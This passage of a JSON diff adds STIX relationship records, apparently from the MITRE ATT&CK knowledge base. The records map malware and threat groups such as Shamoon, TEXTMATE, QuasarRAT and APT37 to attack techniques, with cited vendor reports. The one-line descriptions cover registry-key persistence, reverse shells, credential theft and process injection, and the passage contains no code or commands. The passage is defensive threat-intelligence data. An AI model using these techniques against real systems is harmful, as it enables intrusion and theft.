(n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:38:21.390Z", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) establishes Persistence by setting the HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load Registry key to point to its executable.", + "type": "relationship", + "created": "2019-01-30T16:39:54.280Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df05fecd-1eee-4139-8090-794a3310b478", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.487Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can deobfuscate the main backdoor code.", + "type": "relationship", + "created": "2019-01-30T17:13:11.897Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1477187e-7bd8-4622-8c2d-e5978c1fd29f", + "external_references": [ + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-04-22T22:36:52.935Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the IP address and network adapter information from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T17:43:28.254Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ba18af0c-8b4d-4be0-9b62-f29207856ea9", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "modified": "2019-01-31T18:48:52.138Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has dumped account hashes with [Carbanak](https://attack.mitre.org/groups/G0008) and cracked them with Cain & Abel.", + "type": "relationship", + "created": "2019-01-30T18:02:59.285Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ba4ec9e-24eb-4255-aae7-f314f1176335", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.782Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can obtain victim drive information as well as a list of folders in C:\\Program Files.", + "type": "relationship", + "created": "2019-01-30T18:58:04.056Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b3c69087-f989-4f93-924a-0d6df6c75315", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). 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(2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.333Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) creates a Registry Run key to establish persistence.", + "type": "relationship", + "created": "2019-01-31T00:23:06.386Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11471266-5136-4cd8-a1ef-d847f33ab6de", + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-31T00:23:06.386Z", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) modified Windows Services to ensure PowerShell scripts were loaded on the system.", + "type": "relationship", + "created": "2019-01-31T01:07:58.556Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--985d9421-aa06-4362-a7b6-5ca8504dcfa6", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:37.848Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:13:49.665Z", + "type": "relationship", + "created": "2019-01-31T01:41:58.450Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41354e6e-8250-43f9-864a-80c05dfb4443", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + }, + { + "source_name": "Core Security Impacket", + "description": "Core Security. (n.d.). Impacket. Retrieved November 2, 2017.", + "url": "https://www.coresecurity.com/corelabs-research/open-source-tools/impacket" + } + ], + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) uses PowerShell for execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e3909a5f-ebfb-48e1-b0fc-5737217a994b", + "external_references": [ + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[hcdLoader](https://attack.mitre.org/software/S0071) installs itself as a service for persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8d976244-6d4e-443a-98c0-52fe1d94c388", + "external_references": [ + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + }, + { + "source_name": "ThreatStream Evasion Analysis", + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) opens the Windows Firewall to modify incoming connections.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e1614b27-52c5-41e5-bbcb-ab08a9a5e85c", + "external_references": [ + { + "source_name": "US-CERT HARDRAIN March 2018", + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named \u201cntssrv\u201d to execute the payload.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4e9c5234-65e9-4b4a-bc13-891e7aed84b2", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.229Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) executes cmd.exe to provide a reverse shell to adversaries.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b8e6bb17-9652-464d-8e5d-bd21e1f69a2e", + "external_references": [ + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "source_name": "Cisco DNSMessenger March 2017", + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from common browsers and FTP clients.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9f0f23ed-644d-44f5-bee9-c3f44f04a6d8", + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-06-24T19:05:41.509Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ipconfig](https://attack.mitre.org/software/S0100) can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b91e06c1-9546-4184-9552-ba501bf9182e", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses PowerShell for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e58abef6-2089-4f55-b5ee-9fc24378b52f", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "modified": "2019-04-24T23:55:43.266Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses HTTPS to communicate with its C2 servers, to get malware updates, modules that perform most of the malware logic and various configuration files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e882b88e-7731-4bee-a644-c02f9aff2306", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + } + ], + "modified": "2019-06-24T19:15:06.427Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[S-Type](https://attack.mitre.org/software/S0085) may create the file %HOMEPATH%\\Start Menu\\Programs\\Startup\\Realtek {Unique Identifier}.lnk, which points to the malicious msdtc.exe file already created in the %CommonFiles% directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--907df22e-fdfe-4b93-8b18-ebf66f83868c", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the group name of the logged-in user and sends it to the C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2cfa6113-1995-494a-b767-61d3f371e0ea", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:44:41.770Z", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) credential stealer ZUMKONG emails credentials from the victim using HTTP POST requests.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ae56775-2a8a-45f1-a2c0-d37f61cfb3e9", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2019-07-08T14:33:15.985Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) compromised user credentials and used valid accounts for operations.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4ab77d2-1227-46ac-a4be-f8078072dac7", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.451Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.", + "type": "relationship", + "created": "2017-05-31T21:33:27.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b1c49faa-0b6f-4a0e-85da-5ab8ddeab2ce", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.705Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware KiloAlfa contains keylogging functionality.", + "type": "relationship", + "created": "2017-05-31T21:33:27.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7f695d14-17e1-46c6-92eb-7c2f57fc6553", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Tools", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:08.429Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can scan for open TCP ports on the target network.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72f5ca9f-6b0e-4051-b2ae-da1b59e6ed2b", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) collects data from the clipboard.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1e03e95c-1c9a-4fa8-9d6d-b5d244b06509", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) enumerates the current network connections similar to net use .", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8336111f-565e-4294-8b18-182c26da2421", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can spawn svchost.exe and inject the payload into that process.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--17af5c1a-7912-40af-b7b9-f68f0a15977d", + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ], + "modified": "2019-07-14T21:15:55.002Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) deletes its dropper and VBS scripts from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--152f2412-dbba-48b7-bbe9-612798f3ac23", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) exfiltrates data over its C2 channel.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cb297293-d9bb-484a-a9fb-b7b09477d38f", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": 